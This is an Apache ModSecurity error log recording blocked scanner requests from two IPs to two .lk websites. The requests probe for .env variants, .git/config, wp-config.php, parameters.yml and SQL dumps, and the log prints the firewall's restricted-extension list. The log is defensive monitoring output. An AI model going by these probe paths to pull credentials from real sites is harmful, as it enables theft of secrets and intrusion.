[Fri Jul 17 08:27:20.731840 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.env"] [unique_id "almaEGidQp3SsqeycPEsmAAAAAo"]
[Fri Jul 17 08:27:20.732138 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.env"] [unique_id "almaEGidQp3SsqeycPEsmAAAAAo"]
[Fri Jul 17 08:27:20.732506 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.env"] [unique_id "almaEGidQp3SsqeycPEsmAAAAAo"]
[Fri Jul 17 08:27:20.965581 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaEFh1WDijTxd1xw5ItgAAAAc"]
[Fri Jul 17 08:27:20.965859 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaEFh1WDijTxd1xw5ItgAAAAc"]
[Fri Jul 17 08:27:20.966316 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaEFh1WDijTxd1xw5ItgAAAAc"]
[Fri Jul 17 08:27:21.067632 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:21.152087 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:21.767806 2026] [security2:error] [pid 2002425:tid 2002425] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.env.staging"] [unique_id "almaEaUJv0yl2bIgVrkNLwAAABU"]
[Fri Jul 17 08:27:21.768113 2026] [security2:error] [pid 2002425:tid 2002425] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.env.staging"] [unique_id "almaEaUJv0yl2bIgVrkNLwAAABU"]
[Fri Jul 17 08:27:21.768576 2026] [security2:error] [pid 2002425:tid 2002425] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.env.staging"] [unique_id "almaEaUJv0yl2bIgVrkNLwAAABU"]
[Fri Jul 17 08:27:21.792179 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.84.142.51:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "sunriselanka.lk"] [uri "/dump.sql"] [unique_id "almaERAi3pC6yjXGNq19HwAAAAU"]
[Fri Jul 17 08:27:21.792555 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/dump.sql"] [unique_id "almaERAi3pC6yjXGNq19HwAAAAU"]
[Fri Jul 17 08:27:21.795312 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/dump.sql"] [unique_id "almaERAi3pC6yjXGNq19HwAAAAU"]
[Fri Jul 17 08:27:21.931785 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.git/config"] [unique_id "almaETRCJXF37-WnVv0ifQAAABI"]
[Fri Jul 17 08:27:21.932074 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.git/config"] [unique_id "almaETRCJXF37-WnVv0ifQAAABI"]
[Fri Jul 17 08:27:21.932536 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.git/config"] [unique_id "almaETRCJXF37-WnVv0ifQAAABI"]
[Fri Jul 17 08:27:22.330376 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.env.local"] [unique_id "almaEuN_HRgVfO4akvmJhAAAABg"]
[Fri Jul 17 08:27:22.330618 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.env.local"] [unique_id "almaEuN_HRgVfO4akvmJhAAAABg"]
[Fri Jul 17 08:27:22.331033 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.env.local"] [unique_id "almaEuN_HRgVfO4akvmJhAAAABg"]
[Fri Jul 17 08:27:22.341401 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:36520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:22.475815 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.env"] [unique_id "almaEhAi3pC6yjXGNq19IAAAAAU"]
[Fri Jul 17 08:27:22.476094 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.env"] [unique_id "almaEhAi3pC6yjXGNq19IAAAAAU"]
[Fri Jul 17 08:27:22.476476 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.env"] [unique_id "almaEhAi3pC6yjXGNq19IAAAAAU"]
[Fri Jul 17 08:27:22.480912 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 3.84.142.51:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:22.490098 2026] [security2:error] [pid 2013831:tid 2013831] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.env.dev"] [unique_id "almaEqhgWo8idb8AQWuZ4AAAABs"]
[Fri Jul 17 08:27:22.490363 2026] [security2:error] [pid 2013831:tid 2013831] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.env.dev"] [unique_id "almaEqhgWo8idb8AQWuZ4AAAABs"]
[Fri Jul 17 08:27:22.490891 2026] [security2:error] [pid 2013831:tid 2013831] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.env.dev"] [unique_id "almaEqhgWo8idb8AQWuZ4AAAABs"]
[Fri Jul 17 08:27:22.568205 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.env.production"] [unique_id "almaEjRCJXF37-WnVv0ifgAAABI"]
[Fri Jul 17 08:27:22.568451 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.env.production"] [unique_id "almaEjRCJXF37-WnVv0ifgAAABI"]
[Fri Jul 17 08:27:22.568927 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.env.production"] [unique_id "almaEjRCJXF37-WnVv0ifgAAABI"]
[Fri Jul 17 08:27:22.592398 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.env.staging"] [unique_id "almaEgPhWp7RzB65h36elAAAAA0"]
[Fri Jul 17 08:27:22.592654 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.env.staging"] [unique_id "almaEgPhWp7RzB65h36elAAAAA0"]
[Fri Jul 17 08:27:22.593019 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.env.staging"] [unique_id "almaEgPhWp7RzB65h36elAAAAA0"]
[Fri Jul 17 08:27:22.715407 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/wp-config.php"] [unique_id "almaEhAi3pC6yjXGNq19IQAAAAU"]
[Fri Jul 17 08:27:22.715637 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/wp-config.php"] [unique_id "almaEhAi3pC6yjXGNq19IQAAAAU"]
[Fri Jul 17 08:27:22.716706 2026] [security2:error] [pid 2013831:tid 2013831] [client 32.192.41.111:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.test.ksoft.lk"] [uri "/backup.sql"] [unique_id "almaEqhgWo8idb8AQWuZ4QAAABs"]
[Fri Jul 17 08:27:22.717056 2026] [security2:error] [pid 2013831:tid 2013831] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/backup.sql"] [unique_id "almaEqhgWo8idb8AQWuZ4QAAABs"]
[Fri Jul 17 08:27:22.717412 2026] [security2:error] [pid 2013831:tid 2013831] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/backup.sql"] [unique_id "almaEqhgWo8idb8AQWuZ4QAAABs"]
[Fri Jul 17 08:27:22.718588 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.192.41.111:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaEkgVnBK6wAv37w6ooQAAABQ"]
[Fri Jul 17 08:27:22.718744 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaEkgVnBK6wAv37w6ooQAAABQ"]
